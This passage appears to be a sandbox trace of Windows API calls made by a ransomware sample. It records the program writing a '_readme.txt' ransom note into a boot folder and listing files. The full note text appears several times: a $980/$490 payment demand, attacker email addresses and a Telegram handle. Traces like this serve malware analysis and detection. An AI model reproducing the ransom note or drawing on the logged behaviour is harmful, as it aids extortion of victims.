dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.677] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0119.677] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.677] PathFindFileNameW (pszPath="") returned="" [0119.677] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.677] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.677] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.677] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.677] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0119.677] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0119.678] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.678] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.678] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.678] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.678] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.678] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.678] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.678] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.679] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.679] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.679] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.680] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.680] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.681] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) 